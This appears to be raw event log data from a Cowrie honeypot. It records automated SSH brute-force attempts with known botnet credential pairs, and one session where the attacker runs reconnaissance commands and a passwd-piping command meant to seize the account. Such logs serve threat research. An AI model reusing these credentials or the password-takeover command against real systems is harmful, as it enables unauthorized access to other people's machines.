{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:12.968321Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":33794,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e95087d1af0","protocol":"ssh","message":"New connection: 34.135.200.178:33794 (10.17.0.5:22) [session: 3e95087d1af0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:12.996666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:13.005455Z","src_ip":"34.135.200.178","session":"3e95087d1af0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:13.041633Z","src_ip":"34.135.200.178","session":"3e95087d1af0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:13.232823Z","src_ip":"34.135.200.178","session":"3e95087d1af0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.326866149902344,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:13.763287Z","src_ip":"134.209.8.29","session":"71f0c0baa932","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:14.278263Z","src_ip":"34.135.200.178","session":"3e95087d1af0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":33796,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2fa052208d6","protocol":"ssh","message":"New connection: 34.135.200.178:33796 (10.17.0.5:22) [session: c2fa052208d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:14.309492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:14.315831Z","src_ip":"34.135.200.178","session":"c2fa052208d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:14.357758Z","src_ip":"34.135.200.178","session":"c2fa052208d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:14.532815Z","src_ip":"34.135.200.178","session":"c2fa052208d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.80155348777771,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:15.395612Z","src_ip":"134.209.8.29","session":"5be4069a061f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:15.571236Z","src_ip":"34.135.200.178","session":"c2fa052208d6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:15.680462Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:15.685530Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:15.729076Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:15.857348Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin#123\\nYlVtuUTT1wop\\nYlVtuUTT1wop\"|passwd|bash","message":"CMD: echo -e \"admin#123\\nYlVtuUTT1wop\\nYlVtuUTT1wop\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:15.862300Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:15.866592Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:15.871745Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/75c16c6c9beaaed44df5fce4cbb20bee735687de060358a0f2ef0a4ca3ec1b49","size":32,"shasum":"75c16c6c9beaaed44df5fce4cbb20bee735687de060358a0f2ef0a4ca3ec1b49","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/75c16c6c9beaaed44df5fce4cbb20bee735687de060358a0f2ef0a4ca3ec1b49 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:15.913418Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:16.062985Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin#123\\nYlVtuUTT1wop\\nYlVtuUTT1wop\\n\"|passwd","message":"CMD: echo \"admin#123\\nYlVtuUTT1wop\\nYlVtuUTT1wop\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:16.067772Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/faba9022fd2d0418dee3cd369f80ca8ae980cd730ce8c6c1a2d9caec7871d1c8","size":25,"shasum":"faba9022fd2d0418dee3cd369f80ca8ae980cd730ce8c6c1a2d9caec7871d1c8","duplicate":false,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/faba9022fd2d0418dee3cd369f80ca8ae980cd730ce8c6c1a2d9caec7871d1c8 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:16.107584Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:16.295968Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:16.301440Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:16.343168Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:16.488858Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:16.492891Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:16.539255Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:16.671476Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:16.675942Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:16.680490Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:16.721115Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:16.853625Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:16.857597Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:16.896579Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:17.028976Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:17.036626Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:17.077782Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:17.223944Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:17.231470Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:17.276956Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:17.431844Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:17.435687Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:17.475635Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:17.611278Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:17.617143Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:17.656882Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:17.777555Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:17.781406Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:17.820043Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:17.951296Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:17.955405Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:17.997570Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:18.111077Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:18.115027Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:18.153287Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:18.287824Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:18.292105Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:18.333746Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:18.448263Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
